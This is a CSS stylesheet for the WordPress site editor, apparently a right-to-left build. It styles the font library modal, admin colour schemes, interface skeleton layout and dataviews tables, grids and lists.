.edit-site-site-icon__image{border-radius:0}.edit-site-style-book{height:100%}.edit-site-style-book.is-button,.edit-site-style-book__iframe.is-button{border-radius:8px}.edit-site-style-book__iframe.is-focused{outline:calc(var(--wp-admin-border-width-focus)*2) solid var(--wp-admin-theme-color);outline-offset:calc(var(--wp-admin-border-width-focus)*-2)}.edit-site-style-book__tabs [role=tablist]{background:#fff;color:#1e1e1e}.edit-site-style-book__tabs [role=tabpanel]{bottom:0;left:0;overflow:auto;padding:0;position:absolute;right:0;top:48px}.edit-site-editor-canvas-container{background:#fff;border-radius:2px;bottom:0;left:0;overflow:hidden;position:absolute;right:0;top:0;transition:all .3s}.edit-site-editor-canvas-container__close-button{background:#fff;left:8px;position:absolute;top:6px;z-index:1}.edit-site-resizable-frame__inner{position:relative}body:has(.edit-site-resizable-frame__inner.is-resizing){cursor:col-resize;user-select:none;-webkit-user-select:none}.edit-site-resizable-frame__inner.is-resizing:before{content:"";inset:0;position:absolute;z-index:1}.edit-site-resizable-frame__inner-content{inset:0;position:absolute;z-index:0}.edit-site-resizable-frame__handle{align-items:center;background-color:#75757566;border:0;border-radius:4px;cursor:col-resize;display:flex;height:64px;justify-content:flex-end;padding:0;position:absolute;top:calc(50% - 32px);width:4px;z-index:100}.edit-site-resizable-frame__handle:before{content:"";height:100%;position:absolute;right:100%;width:32px}.edit-site-resizable-frame__handle:after{content:"";height:100%;left:100%;position:absolute;width:32px}.edit-site-resizable-frame__handle:focus-visible{outline:2px solid #0000}.edit-site-resizable-frame__handle.is-resizing,.edit-site-resizable-frame__handle:focus,.edit-site-resizable-frame__handle:hover{background-color:var(--wp-admin-theme-color)}.edit-site-push-changes-to-global-styles-control .components-button{justify-content:center;width:100%}@media (min-width:782px){.font-library-modal.font-library-modal{width:65vw}}.font-library-modal .components-modal__header{border-bottom:none}.font-library-modal .components-modal__content{margin-bottom:70px;padding-top:0}.font-library-modal .font-library-modal__subtitle{font-size:11px;font-weight:500;text-transform:uppercase}.font-library-modal .components-navigator-screen{padding:3px}.font-library-modal__tabpanel-layout{margin-top:32px}.font-library-modal__tabpanel-layout .font-library-modal__tabpanel-layout__footer{background-color:#fff;border-top:1px solid #ddd;bottom:32px;height:70px;margin:0 -32px -32px;padding:16px 32px;position:absolute;width:100%}.font-library-modal__tabpanel-layout .components-base-control__field{margin-bottom:0}.font-library-modal__font-card{border:1px solid #e0e0e0;height:auto;margin-top:-1px;padding:16px;width:100%}.font-library-modal__font-card:hover{background-color:#f0f0f0}.font-library-modal__font-card .font-library-modal__font-card__name{font-weight:700}.font-library-modal__font-card .font-library-modal__font-card__count{color:#757575}.font-library-modal__font-variant_demo-image{display:block;height:24px;width:auto}.font-library-modal__font-variant_demo-text{flex-shrink:0;transition:opacity .3s ease-in-out;white-space:nowrap}@media (prefers-reduced-motion:reduce){.font-library-modal__font-variant_demo-text{transition-delay:0s;transition-duration:0s}}.font-library-modal__font-variant{border-bottom:1px solid #e0e0e0;padding-bottom:16px}.font-library-modal__tabs [role=tablist]{background:#fff;border-bottom:1px solid #ddd;margin:0 -32px;padding:0 16px;position:sticky;top:0;z-index:1}.font-library-modal__upload-area{align-items:center;display:flex;height:256px;justify-content:center;width:100%}button.font-library-modal__upload-area{background-color:#f0f0f0}.font-library-modal__local-fonts{margin:0 auto;width:80%}.font-library-modal__local-fonts .font-library-modal__upload-area__text{color:#757575}.font-library__google-fonts-confirm{align-items:center;display:flex;justify-content:center;margin-top:64px}.font-library__google-fonts-confirm h3{font-size:1.4rem}.font-library__google-fonts-confirm .components-card{max-width:400px;min-width:350px;width:50%}.edit-site-pagination .components-button.is-tertiary{height:32px;justify-content:center;width:32px}body.js #wpadminbar{display:none}body.js #wpbody{padding-top:0}body.js.appearance_page_gutenberg-template-parts,body.js.site-editor-php{background:#fff}body.js.appearance_page_gutenberg-template-parts #wpcontent,body.js.site-editor-php #wpcontent{padding-right:0}body.js.appearance_page_gutenberg-template-parts #wpbody-content,body.js.site-editor-php #wpbody-content{padding-bottom:0}body.js.appearance_page_gutenberg-template-parts #wpbody-content>div:not(.edit-site):not(#screen-meta),body.js.appearance_page_gutenberg-template-parts #wpfooter,body.js.site-editor-php #wpbody-content>div:not(.edit-site):not(#screen-meta),body.js.site-editor-php #wpfooter{display:none}body.js.appearance_page_gutenberg-template-parts .a11y-speak-region,body.js.site-editor-php .a11y-speak-region{right:-1px;top:-1px}body.js.appearance_page_gutenberg-template-parts ul#adminmenu a.wp-has-current-submenu:after,body.js.appearance_page_gutenberg-template-parts ul#adminmenu>li.current>a.current:after,body.js.site-editor-php ul#adminmenu a.wp-has-current-submenu:after,body.js.site-editor-php ul#adminmenu>li.current>a.current:after{border-left-color:#fff}body.js.appearance_page_gutenberg-template-parts .media-frame select.attachment-filters:last-of-type,body.js.site-editor-php .media-frame select.attachment-filters:last-of-type{max-width:100%;width:auto}body.js.site-editor-php{background:#1e1e1e}.components-modal__frame,.edit-site{box-sizing:border-box}.components-modal__frame *,.components-modal__frame :after,.components-modal__frame :before,.edit-site *,.edit-site :after,.edit-site :before{box-sizing:inherit}.edit-site{height:100vh}@media (min-width:600px){.edit-site{bottom:0;left:0;min-height:100vh;position:fixed;right:0;top:0}}.no-js .edit-site{min-height:0;position:static}.edit-site .interface-interface-skeleton{top:0}.edit-site .interface-complementary-area__pin-unpin-item.components-button{display:none}.edit-site .interface-interface-skeleton__content{background-color:#1e1e1e}@keyframes edit-post__fade-in-animation{0%{opacity:0}to{opacity:1}}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,115,161;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,97,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7,82,108;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:6,64,84;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56,51,48;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:43,39,36;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:70,54,93;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:58,44,77;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221,56,45;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:208,44,33;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87,110,116;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76,96,102;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:217,116,38;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195,105,34;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.components-panel__header.interface-complementary-area-header__small{
  background:#fff;
  padding-left:4px;
}
.components-panel__header.interface-complementary-area-header__small .interface-complementary-area-header__small-title{
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
  width:100%;
}
@media (min-width:782px){
  .components-panel__header.interface-complementary-area-header__small{
    display:none;
  }
}

.interface-complementary-area-header{
  background:#fff;
  padding-left:4px;
}
.interface-complementary-area-header .components-button.has-icon{
  display:none;
  margin-right:auto;
}
.interface-complementary-area-header .components-button.has-icon~.components-button{
  margin-right:0;
}
@media (min-width:782px){
  .interface-complementary-area-header .components-button.has-icon{
    display:flex;
  }
  .components-panel__header+.interface-complementary-area-header{
    margin-top:0;
  }
}

.interface-complementary-area{
  background:#fff;
  color:#1e1e1e;
}
@media (min-width:600px){
  .interface-complementary-area{
    -webkit-overflow-scrolling:touch;
  }
}
@media (min-width:782px){
  .interface-complementary-area{
    width:280px;
  }
}
.interface-complementary-area .components-panel{
  border:none;
  position:relative;
  z-index:0;
}
.interface-complementary-area .components-panel__header{
  position:sticky;
  top:0;
  z-index:1;
}
.interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{
  top:48px;
}
@media (min-width:782px){
  .interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{
    top:0;
  }
}
.interface-complementary-area p:not(.components-base-control__help){
  margin-top:0;
}
.interface-complementary-area h2{
  color:#1e1e1e;
  font-size:13px;
  margin-bottom:1.5em;
}
.interface-complementary-area h3{
  color:#1e1e1e;
  font-size:11px;
  font-weight:500;
  margin-bottom:1.5em;
  text-transform:uppercase;
}
.interface-complementary-area hr{
  border-bottom:1px solid #f0f0f0;
  border-top:none;
  margin:1.5em 0;
}
.interface-complementary-area div.components-toolbar,.interface-complementary-area div.components-toolbar-group{
  box-shadow:none;
  margin-bottom:1.5em;
}
.interface-complementary-area div.components-toolbar-group:last-child,.interface-complementary-area div.components-toolbar:last-child{
  margin-bottom:0;
}
.interface-complementary-area .block-editor-skip-to-selected-block:focus{
  bottom:10px;
  left:10px;
  right:auto;
  top:auto;
}

@media (min-width:782px){
  body.js.is-fullscreen-mode{
    height:calc(100% + 32px);
    margin-top:-32px;
  }
  body.js.is-fullscreen-mode #adminmenumain,body.js.is-fullscreen-mode #wpadminbar{
    display:none;
  }
  body.js.is-fullscreen-mode #wpcontent,body.js.is-fullscreen-mode #wpfooter{
    margin-right:0;
  }
}

html.interface-interface-skeleton__html-container{
  position:fixed;
  width:100%;
}
@media (min-width:782px){
  html.interface-interface-skeleton__html-container{
    position:static;
    width:auto;
  }
}

.interface-interface-skeleton{
  bottom:0;
  display:flex;
  flex-direction:row;
  height:auto;
  left:0;
  max-height:100%;
  position:fixed;
  top:46px;
}
@media (min-width:783px){
  .interface-interface-skeleton{
    top:32px;
  }
  .is-fullscreen-mode .interface-interface-skeleton{
    top:0;
  }
}

.interface-interface-skeleton__editor{
  display:flex;
  flex:0 1 100%;
  flex-direction:column;
  overflow:hidden;
}

.interface-interface-skeleton{
  right:0;
}
@media (min-width:783px){
  .interface-interface-skeleton{
    right:160px;
  }
}
@media (min-width:783px){
  .auto-fold .interface-interface-skeleton{
    right:36px;
  }
}
@media (min-width:961px){
  .auto-fold .interface-interface-skeleton{
    right:160px;
  }
}
.folded .interface-interface-skeleton{
  right:0;
}
@media (min-width:783px){
  .folded .interface-interface-skeleton{
    right:36px;
  }
}

body.is-fullscreen-mode .interface-interface-skeleton{
  right:0 !important;
}

.interface-interface-skeleton__body{
  display:flex;
  flex-grow:1;
  overflow:auto;
  overscroll-behavior-y:none;
}
@media (min-width:782px){
  .has-footer .interface-interface-skeleton__body{
    padding-bottom:25px;
  }
}

.interface-interface-skeleton__content{
  display:flex;
  flex-direction:column;
  flex-grow:1;
  overflow:auto;
  z-index:20;
}
@media (min-width:782px){
  .interface-interface-skeleton__content{
    z-index:auto;
  }
}

.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{
  background:#fff;
  bottom:0;
  color:#1e1e1e;
  flex-shrink:0;
  left:0;
  position:absolute;
  right:0;
  top:0;
  z-index:100000;
}
@media (min-width:782px){
  .interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{
    position:relative !important;
    width:auto;
  }
  .is-sidebar-opened .interface-interface-skeleton__secondary-sidebar,.is-sidebar-opened .interface-interface-skeleton__sidebar{
    z-index:90;
  }
}

.interface-interface-skeleton__sidebar{
  overflow:auto;
}
@media (min-width:782px){
  .interface-interface-skeleton__sidebar{
    border-right:1px solid #e0e0e0;
  }
  .interface-interface-skeleton__secondary-sidebar{
    border-left:1px solid #e0e0e0;
  }
}

.interface-interface-skeleton__header{
  border-bottom:1px solid #e0e0e0;
  color:#1e1e1e;
  flex-shrink:0;
  height:auto;
  z-index:30;
}

.interface-interface-skeleton__footer{
  background-color:#fff;
  border-top:1px solid #e0e0e0;
  bottom:0;
  color:#1e1e1e;
  display:none;
  flex-shrink:0;
  height:auto;
  position:absolute;
  right:0;
  width:100%;
  z-index:90;
}
@media (min-width:782px){
  .interface-interface-skeleton__footer{
    display:flex;
  }
}
.interface-interface-skeleton__footer .block-editor-block-breadcrumb{
  align-items:center;
  background:#fff;
  display:flex;
  font-size:13px;
  height:24px;
  padding:0 18px;
  z-index:30;
}

.interface-interface-skeleton__actions{
  background:#fff;
  bottom:auto;
  color:#1e1e1e;
  left:0;
  position:fixed !important;
  right:auto;
  top:-9999em;
  width:100vw;
  z-index:100000;
}
@media (min-width:782px){
  .interface-interface-skeleton__actions{
    width:280px;
  }
}
.interface-interface-skeleton__actions:focus,.interface-interface-skeleton__actions:focus-within{
  bottom:0;
  top:auto;
}
.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{
  top:46px;
}
@media (min-width:782px){
  .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{
    border-right:1px solid #ddd;
    top:32px;
  }
  .is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{
    top:0;
  }
}

.interface-more-menu-dropdown{
  margin-right:-4px;
}
.interface-more-menu-dropdown .components-button{
  padding:0 2px;
  width:auto;
}
@media (min-width:600px){
  .interface-more-menu-dropdown{
    margin-right:0;
  }
  .interface-more-menu-dropdown .components-button{
    padding:0 4px;
  }
}

.interface-more-menu-dropdown__content .components-popover__content{
  min-width:300px;
}
@media (min-width:480px){
  .interface-more-menu-dropdown__content .components-popover__content{
    max-width:480px;
  }
}
.interface-more-menu-dropdown__content .components-popover__content .components-dropdown-menu__menu{
  padding:0;
}

.components-popover.interface-more-menu-dropdown__content{
  z-index:99998;
}

.interface-pinned-items{
  display:flex;
  gap:8px;
}
.interface-pinned-items .components-button{
  display:none;
  margin:0;
}
.interface-pinned-items .components-button[aria-controls="edit-post:block"],.interface-pinned-items .components-button[aria-controls="edit-post:document"],.interface-pinned-items .components-button[aria-controls="edit-site:block-inspector"],.interface-pinned-items .components-button[aria-controls="edit-site:global-styles"],.interface-pinned-items .components-button[aria-controls="edit-site:template"]{
  display:flex;
}
.interface-pinned-items .components-button svg{
  max-height:24px;
  max-width:24px;
}
@media (min-width:600px){
  .interface-pinned-items .components-button{
    display:flex;
  }
}

.dataviews-wrapper{
  box-sizing:border-box;
  height:100%;
  overflow:auto;
  scroll-padding-bottom:64px;
  width:100%;
}

.dataviews-filters__view-actions{
  flex-shrink:0;
  margin-bottom:12px;
  padding:12px 32px 0;
  position:sticky;
  right:0;
}
.dataviews-filters__view-actions .components-search-control .components-base-control__field{
  max-width:240px;
}

.dataviews-filters__container{
  padding-left:32px;
}

.dataviews-filters-button{
  position:relative;
}

.dataviews-pagination{
  background-color:#fff;
  border-top:1px solid #f0f0f0;
  bottom:0;
  color:#757575;
  flex-shrink:0;
  padding:12px 32px;
  position:sticky;
  right:0;
}

.dataviews-pagination__page-selection{
  color:#1e1e1e;
  font-size:11px;
  font-weight:500;
  text-transform:uppercase;
}

.dataviews-filters-options{
  margin:32px 0 16px;
}

.dataviews-view-table-wrapper{
  overflow-x:auto;
}

.dataviews-view-table{
  border-collapse:collapse;
  border-color:inherit;
  color:#757575;
  position:relative;
  text-indent:0;
  width:100%;
}
.dataviews-view-table a{
  color:#1e1e1e;
  font-weight:500;
  text-decoration:none;
}
.dataviews-view-table th{
  color:var(--wp-components-color-foreground, #1e1e1e);
  font-size:13px;
  font-weight:400;
  text-align:right;
}
.dataviews-view-table td,.dataviews-view-table th{
  padding:12px;
  white-space:nowrap;
}
.dataviews-view-table td[data-field-id=actions],.dataviews-view-table th[data-field-id=actions]{
  text-align:left;
}
.dataviews-view-table td.dataviews-view-table__checkbox-column,.dataviews-view-table th.dataviews-view-table__checkbox-column{
  padding-left:0;
}
.dataviews-view-table td .components-checkbox-control__input-container,.dataviews-view-table th .components-checkbox-control__input-container{
  margin:4px;
}
.dataviews-view-table tr{
  border-bottom:1px solid #f0f0f0;
}
.dataviews-view-table tr .dataviews-view-table-header-button{
  gap:4px;
}
.dataviews-view-table tr td:first-child,.dataviews-view-table tr th:first-child{
  padding-right:32px;
}
.dataviews-view-table tr td:first-child .dataviews-view-table-header,.dataviews-view-table tr td:first-child .dataviews-view-table-header-button,.dataviews-view-table tr th:first-child .dataviews-view-table-header,.dataviews-view-table tr th:first-child .dataviews-view-table-header-button{
  margin-right:-8px;
}
.dataviews-view-table tr td:last-child,.dataviews-view-table tr th:last-child{
  padding-left:32px;
}
.dataviews-view-table tr:last-child{
  border-bottom:0;
}
.dataviews-view-table tr:hover{
  background-color:#f8f8f8;
}
.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input{
  opacity:0;
}
.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:checked,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:focus,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:indeterminate,.dataviews-view-table tr:focus-within .components-checkbox-control__input,.dataviews-view-table tr:hover .components-checkbox-control__input{
  opacity:1;
}
.dataviews-view-table tr.is-selected{
  background-color:rgba(var(--wp-admin-theme-color--rgb), .04);
  color:#757575;
}
.dataviews-view-table tr.is-selected:hover{
  background-color:rgba(var(--wp-admin-theme-color--rgb), .08);
}
.dataviews-view-table thead{
  inset-block-start:0;
  position:sticky;
  z-index:1;
}
.dataviews-view-table thead tr{
  border:0;
}
.dataviews-view-table thead th{
  background-color:#fff;
  box-shadow:inset 0 -1px 0 #f0f0f0;
  font-size:11px;
  font-weight:500;
  padding-bottom:8px;
  padding-right:4px;
  padding-top:8px;
  text-transform:uppercase;
}
.dataviews-view-table tbody td{
  vertical-align:top;
}
.dataviews-view-table tbody .dataviews-view-table__cell-content-wrapper{
  align-items:center;
  display:flex;
  min-height:32px;
}
.dataviews-view-table tbody .dataviews-view-table__cell-content-wrapper>*{
  flex-grow:1;
}
.dataviews-view-table .dataviews-view-table-header-button{
  font-size:11px;
  font-weight:500;
  padding:4px 8px;
  text-transform:uppercase;
}
.dataviews-view-table .dataviews-view-table-header-button:not(:hover){
  color:#1e1e1e;
}
.dataviews-view-table .dataviews-view-table-header-button span{
  speak:none;
}
.dataviews-view-table .dataviews-view-table-header-button span:empty{
  display:none;
}
.dataviews-view-table .dataviews-view-table-header{
  padding-right:4px;
}
.dataviews-view-table .dataviews-view-table__actions-column{
  width:1%;
}
.dataviews-view-table:has(tr.is-selected) .components-checkbox-control__input{
  opacity:1;
}

.dataviews-view-grid__primary-field,.dataviews-view-list__primary-field,.dataviews-view-table__primary-field{
  color:#1e1e1e;
  display:block;
  font-size:13px;
  font-weight:500;
  text-overflow:ellipsis;
  white-space:nowrap;
  width:100%;
}
.dataviews-view-grid__primary-field a,.dataviews-view-list__primary-field a,.dataviews-view-table__primary-field a{
  color:inherit;
  display:block;
  overflow:hidden;
  text-decoration:none;
  text-overflow:ellipsis;
  white-space:nowrap;
  width:100%;
}
.dataviews-view-grid__primary-field a:hover,.dataviews-view-list__primary-field a:hover,.dataviews-view-table__primary-field a:hover{
  color:#1e1e1e;
}
.dataviews-view-grid__primary-field a:focus,.dataviews-view-list__primary-field a:focus,.dataviews-view-table__primary-field a:focus{
  border-radius:2px;
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color, #007cba);
  color:var(--wp-admin-theme-color--rgb);
}
.dataviews-view-grid__primary-field button.components-button.is-link,.dataviews-view-list__primary-field button.components-button.is-link,.dataviews-view-table__primary-field button.components-button.is-link{
  color:inherit;
  display:block;
  font-weight:inherit;
  overflow:hidden;
  text-decoration:none;
  text-overflow:ellipsis;
  white-space:nowrap;
  width:100%;
}

.dataviews-view-grid{
  grid-template-columns:repeat(2, minmax(0, 1fr)) !important;
  grid-template-rows:max-content;
  margin-bottom:24px;
  padding:0 32px;
}
@media (min-width:1080px){
  .dataviews-view-grid{
    grid-template-columns:repeat(3, minmax(0, 1fr)) !important;
  }
}
@media (min-width:1440px){
  .dataviews-view-grid{
    grid-template-columns:repeat(4, minmax(0, 1fr)) !important;
  }
}
.dataviews-view-grid .dataviews-view-grid__card{
  border:1px solid #e0e0e0;
  border-radius:4px;
  height:100%;
  justify-content:flex-start;
}
.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-actions{
  padding:4px 4px 4px 8px;
}
.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__primary-field{
  min-height:40px;
}
.dataviews-view-grid .dataviews-view-grid__card.is-selected{
  background-color:rgba(var(--wp-admin-theme-color--rgb), .04);
  border-color:var(--wp-admin-theme-color);
}
.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{
  color:#1e1e1e;
}
.dataviews-view-grid .dataviews-view-grid__media{
  aspect-ratio:1/1;
  background-color:#f0f0f0;
  border-bottom:1px solid #e0e0e0;
  border-radius:3px 3px 0 0;
  min-height:200px;
  width:100%;
}
.dataviews-view-grid .dataviews-view-grid__media img{
  height:100%;
  object-fit:cover;
  width:100%;
}
.dataviews-view-grid .dataviews-view-grid__fields{
  font-size:12px;
  line-height:16px;
  position:relative;
}
.dataviews-view-grid .dataviews-view-grid__fields:not(:empty){
  padding:0 12px 12px;
}
.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{
  color:#757575;
}

.dataviews-view-list{
  margin:0;
  padding:8px;
}
.dataviews-view-list li{
  margin:0;
}
.dataviews-view-list li .dataviews-view-list__item-wrapper{
  border-radius:4px;
  padding-left:24px;
  position:relative;
}
.dataviews-view-list li .dataviews-view-list__item-wrapper:after{
  background:#f0f0f0;
  content:"";
  height:1px;
  left:24px;
  position:absolute;
  right:24px;
  top:100%;
}
.dataviews-view-list li:not(.is-selected):hover,.dataviews-view-list li:not(.is-selected):hover .dataviews-view-list__fields,.dataviews-view-list li:not(.is-selected):hover .dataviews-view-list__primary-field{
  color:var(--wp-admin-theme-color);
}
.dataviews-view-list li.is-selected .dataviews-view-list__item-wrapper,.dataviews-view-list li.is-selected:focus-within .dataviews-view-list__item-wrapper{
  background-color:var(--wp-admin-theme-color);
  color:#fff;
}
.dataviews-view-list li.is-selected .dataviews-view-list__item-wrapper .components-button,.dataviews-view-list li.is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list li.is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__primary-field,.dataviews-view-list li.is-selected:focus-within .dataviews-view-list__item-wrapper .components-button,.dataviews-view-list li.is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list li.is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__primary-field{
  color:#fff;
}
.dataviews-view-list li.is-selected .dataviews-view-list__item-wrapper:after,.dataviews-view-list li.is-selected:focus-within .dataviews-view-list__item-wrapper:after{
  background:#0000;
}
.dataviews-view-list .dataviews-view-list__item{
  cursor:pointer;
  padding:12px 24px 12px 0;
  width:100%;
}
.dataviews-view-list .dataviews-view-list__item:focus:before{
  border-radius:4px;
  bottom:-1px;
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  content:"";
  left:-1px;
  position:absolute;
  right:-1px;
  top:-1px;
  z-index:-1;
}
.dataviews-view-list .dataviews-view-list__item .dataviews-view-list__primary-field{
  min-height:20px;
}
.dataviews-view-list .dataviews-view-list__media-wrapper{
  background-color:#f0f0f0;
  border-radius:4px;
  flex-shrink:0;
  height:40px;
  overflow:hidden;
  position:relative;
  width:40px;
}
.dataviews-view-list .dataviews-view-list__media-wrapper img{
  height:100%;
  object-fit:cover;
  width:100%;
}
.dataviews-view-list .dataviews-view-list__media-wrapper:after{
  border-radius:4px;
  box-shadow:inset 0 0 0 1px #0000001a;
  content:"";
  height:100%;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}
.dataviews-view-list .dataviews-view-list__media-placeholder{
  background-color:#e0e0e0;
  height:32px;
  min-width:32px;
}
.dataviews-view-list .dataviews-view-list__fields{
  color:#757575;
  display:flex;
  flex-wrap:wrap;
  font-size:12px;
  gap:8px;
  line-height:16px;
}
.dataviews-view-list .dataviews-view-list__fields .dataviews-view-list__field:empty{
  display:none;
}
.dataviews-view-list+.dataviews-pagination{
  justify-content:space-between;
}
.dataviews-view-list .dataviews-view-list__details-button{
  align-self:center;
  opacity:0;
}
.dataviews-view-list li.is-selected .dataviews-view-list__details-button,.dataviews-view-list li:focus-within .dataviews-view-list__details-button,.dataviews-view-list li:hover .dataviews-view-list__details-button{
  opacity:1;
}
.dataviews-view-list li.is-selected .dataviews-view-list__details-button:focus{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) currentColor;
}

.dataviews-action-modal{
  z-index:1000001;
}

.dataviews-loading,.dataviews-no-results{
  padding:0 32px;
}

.dataviews-view-table-selection-checkbox label{
  height:1px;
  margin:-1px;
  overflow:hidden;
  padding:0;
  position:absolute;
  width:1px;
  clip:rect(0, 0, 0, 0);
  border:0;
  white-space:nowrap;
}

.dataviews-filters__custom-menu-radio-item-prefix{
  display:block;
  width:24px;
}

.dataviews-bulk-edit-button.components-button{
  flex-shrink:0;
}

.dataviews-view-grid__title-actions .dataviews-view-table-selection-checkbox{
  margin-right:8px;
}

.dataviews-view-grid__card.has-no-pointer-events *{
  pointer-events:none;
}

.dataviews-filter-summary__popover .components-popover__content{
  border-radius:4px;
  padding:0;
  width:230px;
}

.dataviews-search-widget-filter-combobox-list{
  border-top:1px solid #e0e0e0;
  max-height:184px;
  overflow:auto;
  padding:4px;
}
.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item{
  align-items:center;
  border-radius:2px;
  box-sizing:border-box;
  cursor:default;
  display:flex;
  gap:8px;
  margin-block-end:2px;
  padding:8px 12px;
}
.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item:last-child{
  margin-block-end:0;
}
.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item:focus,.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item:hover,.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item[data-active-item]{
  background-color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  color:#fff;
}
.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item:focus .dataviews-search-widget-filter-combobox-item-check,.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item:hover .dataviews-search-widget-filter-combobox-item-check,.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item[data-active-item] .dataviews-search-widget-filter-combobox-item-check{
  fill:#fff;
}
.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item:focus .dataviews-search-widget-filter-combobox-item-description,.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item:hover .dataviews-search-widget-filter-combobox-item-description,.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item[data-active-item] .dataviews-search-widget-filter-combobox-item-description{
  color:#fff;
}
